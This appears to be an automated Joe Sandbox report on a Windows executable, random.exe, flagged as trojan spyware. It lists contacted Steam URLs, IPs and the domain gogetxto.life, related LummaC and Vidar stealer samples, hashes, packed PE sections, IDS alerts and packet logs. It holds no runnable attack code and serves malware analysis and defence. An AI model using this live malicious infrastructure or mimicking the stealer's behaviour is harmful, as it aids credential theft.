https://store.steampowered.com/steam_refunds/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111936216.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=en	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138681413.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/H	random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.197.127.21	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false
172.67.140.127	gogetxto.life	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643069
Start date and time:	2025-03-19 14:00:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@13/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.199.214.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target random.exe, PID 6452 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:01:13	API Interceptor	7x Sleep call for process: random.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.197.127.21	http://steamcomunity.aiq.ru/	Get hash	malicious	Unknown	Browse	steamcommunity.com/
172.67.140.127	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	random(8).exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	104.73.234.102
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	23.192.247.89
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	23.197.127.21
	random.exe	Get hash	malicious	Unknown	Browse	104.73.234.102
	7T7bCyA.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	Router-Scan-2.60-setup.exe.bin.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	GGLC7nez10.exe	Get hash	malicious	GO Backdoor	Browse	92.122.104.90
	EbEnEGbNKo.exe	Get hash	malicious	LummaC Stealer	Browse	92.122.104.90
	GEHUYmhj6O.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
gogetxto.life	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	172.67.140.127

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.210.5
	https://krekoii-logi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
	https://kreakeunlgien.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	imv-corp(ref0467) #U3010#U6ce8#U6587#U66f8#U3011sales Agreement WP2501001152 WP2501001159.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://fatty.io	Get hash	malicious	Unknown	Browse	104.21.84.205
	EFt_-Now(Laeyeandlaser)CLQD.svg	Get hash	malicious	Unknown	Browse	104.21.62.225
	https://krukcin-lcin.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	172.67.140.127
	https://krserakenlogi.webflow.io	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	original (1).eml	Get hash	malicious	Unknown	Browse	188.114.97.3
AKAMAI-ASN1EU	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	2.16.100.178
	https://commercialmortgagealert.com/login	Get hash	malicious	Unknown	Browse	2.22.242.81
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	95.101.182.65
	Message.eml	Get hash	malicious	Unknown	Browse	88.221.110.227
	https://meltamaskvvalttet.godaddysites.com	Get hash	malicious	HTMLPhisher	Browse	95.101.182.74
	https://ecidf91-my.sharepoint.com/:o:/g/personal/coord_etudesetchantiers_org/EUmQMWGSyWxJn1UxHBfM5-0BIQy5Pwz-5xitaPNPxYfBxQ?rtime=HcHK-dRm3Ug	Get hash	malicious	Unknown	Browse	88.221.110.248
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	2.19.97.203
	https://geminilogfine.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	2.16.100.106
	https://trezzerwalletse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	88.221.110.26
	https://messagerieorange5.godaddysites.com/identifiez-vous	Get hash	malicious	Unknown	Browse	2.16.1.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	random(8).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127 23.197.127.21
	random(9).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127 23.197.127.21
	Spacey Sun 11.12.411 (1).exe	Get hash	malicious	Vidar	Browse	172.67.140.127 23.197.127.21
	New Purchase Order.exe	Get hash	malicious	MSIL Logger, MassLogger RAT, XRed	Browse	172.67.140.127 23.197.127.21
	Computer Environment Info Collection Tool.xlsm	Get hash	malicious	Unknown	Browse	172.67.140.127 23.197.127.21
	random.exe	Get hash	malicious	Unknown	Browse	172.67.140.127 23.197.127.21
	random.exe	Get hash	malicious	Unknown	Browse	172.67.140.127 23.197.127.21
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	172.67.140.127 23.197.127.21
	DEVM28.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.140.127 23.197.127.21
	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	172.67.140.127 23.197.127.21

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9498392743194755
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe
File size:	1'904'128 bytes
MD5:	09a9caa1ae0092481ee8b23a8ae083f6
SHA1:	2e291049c09f450e81c60ffce8f8657f56aa016a
SHA256:	b1b5251222b994e39db8b67f58f1ba624e6db5c791ac2741bbe05a85b94d122a
SHA512:	fec97b2afb53efb8eea50a4587ba15f3da64370363bbdbd2e29abe984d940648ad7b97063054d400496d21aa843b7905cd54472653819def6bf75a373464ea5b
SSDEEP:	49152:RWkvLI8K2WO5IHv7ZeRK6HxBIYQ9v3q7AmjIxPefw+3Yx9:RWkDZWO5Y7oRzRjc67bjIxmV3Yx9
TLSH:	8B95338A79D26B89D04C5C332F1BE36B83347941D8E6672D3C2F6C3E4493B6F568185A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g..............................J...........@...........................J......p....@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67C9DDEB [Thu Mar 6 17:39:55 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F417C6DD16Ah
paddsb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F417C6DF165h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x611f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5f000	0x2d200	86a1856c47fa7400bbff951d4dd6550f	False	0.9989395775623269	data	7.986247230629981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x2b0	0x400	523f278eacfa2deaa368a736a0483d03	False	0.3603515625	data	5.183277471200244	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x61000	0x1000	0x200	f47b289bcee0e13a937cc29db13607bf	False	0.150390625	data	1.0437720338377494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x62000	0x2a7000	0x200	8cd73930d0155cdac8a9332fef2ae66d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rhdjwvgs	0x309000	0x1a0000	0x19fe00	b7e870a8e0ee06628646ce43c3dfcc41	False	0.9941870021791404	data	7.953383957634235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bxvhmdee	0x4a9000	0x1000	0x400	316b964df9fba2068319827aee7e7dcc	False	0.7802734375	data	6.181689405334508	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	e3cbe5643dbe5524838eb9a287239a52	False	0.06767003676470588	DOS executable (COM)	0.7589298842546881	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x60058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-19T14:01:12.475200+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49698	23.197.127.21	443	TCP
2025-03-19T14:01:13.716487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49699	172.67.140.127	443	TCP
2025-03-19T14:01:15.068350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49700	23.197.127.21	443	TCP
2025-03-19T14:01:16.293918+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49701	172.67.140.127	443	TCP
2025-03-19T14:01:18.032136+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49702	23.197.127.21	443	TCP
2025-03-19T14:01:19.332269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49703	23.197.127.21	443	TCP
2025-03-19T14:01:20.775135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49704	23.197.127.21	443	TCP
2025-03-19T14:01:22.040949+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49705	23.197.127.21	443	TCP
2025-03-19T14:01:23.758468+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49708	23.197.127.21	443	TCP
2025-03-19T14:01:26.177851+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49709	23.197.127.21	443	TCP
2025-03-19T14:01:27.920315+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49714	23.197.127.21	443	TCP
2025-03-19T14:01:29.263508+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49719	23.197.127.21	443	TCP
2025-03-19T14:01:30.704861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49720	23.197.127.21	443	TCP
2025-03-19T14:01:32.042485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	57686	23.197.127.21	443	TCP
2025-03-19T14:01:33.298368+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	57687	172.67.140.127	443	TCP

Network Port Distribution

Total Packets: 226
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 14:01:11.659255981 CET	49698	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:11.659338951 CET	443	49698	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:11.659425974 CET	49698	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:11.662533998 CET	49698	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:11.662576914 CET	443	49698	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:12.475104094 CET	443	49698	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:12.475199938 CET	49698	443	192.168.2.11	23.197.127.21
